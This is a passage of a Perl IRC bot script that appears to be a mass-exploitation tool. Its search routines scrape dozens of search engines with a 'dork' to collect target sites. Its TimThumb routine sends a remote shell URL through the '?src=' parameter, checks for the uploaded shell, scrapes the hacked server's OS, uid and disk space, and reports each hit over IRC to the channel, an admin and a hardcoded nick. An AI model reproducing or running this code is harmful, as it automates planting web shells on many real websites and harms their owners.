                            &msg("$path","$thumblogo 4,1Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,3);
                        }
                        exit;
                    }
                }               
            }
        }

        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                &parse("$line");
            } else {
                if ($#lines == 0) {
                    &parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    &parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    &parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}

#########################################
sub type () {
my ($chan,$bug,$dork,$engine,$type) = @_;
   if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
     elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
     elsif ($type == 3){&thumb($chan,$bug,$dork,$engine);}
}

sub scan_start() {
my ($chan,$bug,$dork,$engine,$type) = @_;
    if ($engine =~ /google/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; }
    }
    if ($engine =~ /rediff/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ReDiff",$type); } exit; }
    }
    if ($engine =~ /bing/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; }
    }
    if ($engine =~ /altavista/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ALtaViSTa",$type); } exit; }
    }
    if ($engine =~ /ask/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; }
    }
    if ($engine =~ /uol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; }
    }
    if ($engine =~ /yahoo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOo",$type); } exit; }
    }
    if ($engine =~ /clusty/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CluSty",$type); } exit; }
    }
    if ($engine =~ /gutser/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GutSer",$type); } exit; }
    }
    if ($engine =~ /google2/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; }
    }
    if ($engine =~ /virgilio/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VirgiLio",$type); } exit; }
    }
    if ($engine =~ /webde/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WebDe",$type); } exit; }
    }
    if ($engine =~ /exalead/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ExaLead",$type); } exit; }
    }
    if ($engine =~ /lycos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; }
    }
    if ($engine =~ /hotbot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; }
    }
    if ($engine =~ /aol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; }
    }
    if ($engine =~ /sapo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; }
    }
    if ($engine =~ /duck/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DuCk",$type); } exit; }
    }
    if ($engine =~ /lygo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyGo",$type); } exit; }
    }
    if ($engine =~ /yause/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YauSe",$type); } exit; }
    }
    if ($engine =~ /baidu/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type); } exit; }
    }
    if ($engine =~ /kipot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KiPoT",$type); } exit; }
    }
    if ($engine =~ /gibla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GiBLa",$type); } exit; }
    }
    if ($engine =~ /black/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BLacK",$type); } exit; }
    }
    if ($engine =~ /onet/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"oNeT",$type); } exit; }
    }
    if ($engine =~ /sizuka/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SiZuka",$type); } exit; }
    }
    if ($engine =~ /walla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; }
    }
    if ($engine =~ /demos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DeMos",$type); } exit; }
    }
    if ($engine =~ /rose/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RoSe",$type); } exit; }
    }
    if ($engine =~ /seznam/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZnaM",$type); } exit; }
    }
    if ($engine =~ /tiscali/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TisCali",$type); } exit; }
    }
    if ($engine =~ /naver/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NaVeR",$type); } exit; }
    }
   if ($engine =~ /clix/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; }
    }
   if ($engine =~ /search66/i) {
   if ($pid = fork) { waitpid($pid, 0); }
   else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; }
    }
   if ($engine =~ /biglobe/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; }
    }
   if ($engine =~ /interia/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InteRia",$type); } exit; }
    }
   if ($engine =~ /pagina/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PaGIna",$type); } exit; }
    }

}

######### TIMTHUMB
sub thumb() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$thumblogo( 9@ 0$engine 4,1) 00 Scan finish "); }
         my $vuln = "http://".$site.$bug."?src=".$thumbshell;
         my $cek  = &get_content($vuln);sleep(1);
         if ($cek =~ /unable to open image/i) {
            &msg("$chan"," 4,1 E 0x 03PL 2o 0i 4,1t 4Z 00 $site");sleep(1);
         (my $stalker = $bug)=~ s{/[^/]+\z}{};
         my $vuln2 = "http://".$site.$stalker.$stalker1;
         my $vuln3 = "http://".$site.$stalker.$stalker2;
         my $vuln4 = "http://".$site.$stalker.$stalker3;
         my $vuln5 = "http://".$site.$stalker.$stalker4;
         my $vuln6 = "http://".$site.$stalker5;
         my $god     = "bom2stalker";
         my $safe   ="";
         my $os      ="";
         my $free   ="";
         my $uid      ="";
         my $check1 = &get_content($vuln2);sleep(1);
         my $check2 = &get_content($vuln3);sleep(1);
         my $check3 = &get_content($vuln4);sleep(1);
         my $check4 = &get_content($vuln5);sleep(1);
         my $check5 = &get_content($vuln6);sleep(1);
         if ($check1 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln2." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln2." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check2 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln3." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln3." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check3 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln4." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln4." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check4 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0 ".$vuln5." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln5." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         if ($check5 =~ /GIF89a/i) {
         if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
          if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
          if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
         if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
            &msg("$chan","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$admin","$thumblogo( 9@ 0$engine 4,1)( 9@ 4,1irh 4,1) 0".$vuln6." 3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid ");
            &msg("$god","Nih Bos ".$vuln6." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid ");
         }
         }
      }
   }
}

#####################################

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
    if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
    if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
    if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
    if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
    if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
    if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
    if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
    if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
    if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
    if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
    if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
    if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
    if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
    if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
    if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
    if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
    if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }   
    if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }               
    if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }
    if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }   
    if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }
    if ($engine eq "PaGIna") { my @pagina = pagina($dork); push(@total,@pagina); }
    @clean = clean(@total);
    &msg("$chan","$logo( 4@ 8$engine 15) 4 Total: 0 (".scalar(@total).") 4 Clean: 0 (".scalar(@clean).") ");
    return @clean;
}

#########################################

sub isFound() {
    my $status = 0;
    my $link = $_[0];
    my $reqexp = $_[1];
    my $res = &get_content($link);
    if ($res =~ /$reqexp/) { $status = 1 }
    return $status;
}

sub get_content() {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

######################################### SEARCH ENGINE

sub google() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=400; $i+=10){
        my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rediff() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=500; $i+=10) {
        my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
      $b = "$i";
        my $res = &search_engine_query($search);
      if ($res !~ /firstres=$b\'>/) {$i=500;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
            if ($1 !~ /rediff\.com/){
            my $link = $1;
            my @grep = &links($link);
            push(@list,@grep);
         }
        }
    }
    return @list;
}

sub uol() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
        my $res = &search_engine_query($search);
      if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
        while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
            if ($1 !~ /uol\.com/) {
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bing() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
        my $res = &search_engine_query($search);
      if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /bing\.com/) {
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub altavista() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10){
        my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
        my $res = &search_engine_query($search);
      if ($res !~ /target=\"_self\">Succ/) {$i=500;}
        while ($res =~ m/<span class=ngrn>(.+?)\//g) {
            if ($1 !~ /altavista/){
            my $link = $1;
                $link =~ s/<//g;
                $link =~ s/ //g;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ask() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=50; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
        my $res = &search_engine_query($search);
      if ($res !~ /Successiva/) {$i=50;}
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
            if ($1 !~ /ask\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahoo(){
    my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            if ($1 !~ /yahoo\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub clusty() {
    my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=10; $b<=500; $b+=10) {
        my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
        my $res = &search_engine_query($search);
      if ($res !~ /next/) {$b=500;}
        while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
            if ($1 !~ /yippy\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gutser() {
    my @list;
    my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
        my $res = &search_engine_query($search);
        while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
            if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub google2() {
  my @list;
  my $key = $_[0];
  my $b     = 0;
  my @doms =
("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.c
k","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu
","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.
mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru",
"rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","co
m.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
    for ($b=1; $b<=200; $b+=10) {
        my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    } return @list;
}
}

sub exalead() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=1000; $b+=100) {
        my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
        my $res = &search_engine_query($search);
      if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
        while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link!~ /exalead/){
                my @grep = &links($link);
                push(@list,@grep);
            }
            }
        }
    return @list;   
}   

sub lycos() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
            if ($1 !~ /lycos\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}

sub virgilio() {
  my @list;
  my $key = $_[0];
    for ($b=10; $b<=1000; $b+=100) {
        my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=100&offset=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http:\/\/(.+?)\//g) {
            if ($1 !~ /\.virgilio\.it/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub webde() {
  my @list;
  my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
        my $res = &search_engine_query($search);
      if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
        while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
            my $link = $1;
            if ($link!~ /suche|web/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub hotbot() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
      if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub aol() {
  my @list;
  my $key = $_[0];
    for ($b=2; $b<=50; $b+=1) {
        my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
            if ($1 !~ /aol\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}

sub sapo(){
    my @list;
   my $key = $_[0];
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
        my $res = &search_engine_query($search);
      if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            if ($1 !~ /\.sapo\.pt/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub duck() {
   my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
        my $res = &search_engine_query($search);
      if ($res =~ m/No more results/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /duckduckgo/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub lygo() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
      if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yause() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
        my $res = &search_engine_query($search);
      if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
            if ($1 !~ /yauba\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub baidu() {
   my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=0; $b<=1000; $b+=100) {
        my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
            if ($1 !~ /baidu\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
            }
        }
    }
    return @list;
}

sub kipot() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
            if ($1 !~ /qkport\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gibla() {
   my @list;
   my $key = $_[0];
   my $hal = "/search?q=".&key($key);
        my $search = ("http://www.gigablast.com".$hal);
        my $res = &search_engine_query($search);
   while ($res =~ m/Next 10 Results/) {
        $search = ("http://www.gigablast.com".$hal);
        while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
            my $link = $1;
            my @grep = &links($link);
            push(@list,@grep);
      }
   if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
